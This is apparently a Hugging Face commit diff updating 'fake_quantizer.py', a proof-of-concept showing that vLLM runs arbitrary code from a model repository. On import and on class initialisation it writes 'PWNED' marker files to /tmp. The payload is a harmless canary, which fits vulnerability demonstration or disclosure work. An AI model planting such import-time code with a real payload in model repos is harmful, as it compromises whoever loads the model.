Madhan-Alagarsamy commited on
Commit
53191d1
·
verified ·
1 Parent(s): a24a533

Update fake_quantizer.py

Browse files
Files changed (1) hide show
  1. fake_quantizer.py +15 -12
fake_quantizer.py CHANGED
@@ -1,12 +1,15 @@
1
- import os
2
-
3
- print("\n=============================")
4
- print("🔥 FakeQuantizer RCE Triggered")
5
- print("=============================\n")
6
-
7
- with open("HF_VLLM_PWNED.txt", "w") as f:
8
- f.write("vLLM executed arbitrary code from HuggingFace model repo!")
9
-
10
- class FakeQuantizer:
11
- def __init__(self, *args, **kwargs):
12
- pass
 
 
 
 
1
+ import os
2
+
3
+ print("🔥 Executing malicious FakeQuantizer!")
4
+
5
+ open("/tmp/PWNED_VLLM.txt", "w").write("Exploit executed!")
6
+
7
+ class FakeQuantizer:
8
+ def __init__(self, *args, **kwargs):
9
+ open("/tmp/PWNED_INIT.txt", "w").write("init worked!")
10
+
11
+ class FakeConfig:
12
+ pass
13
+
14
+ class FakeModel:
15
+ pass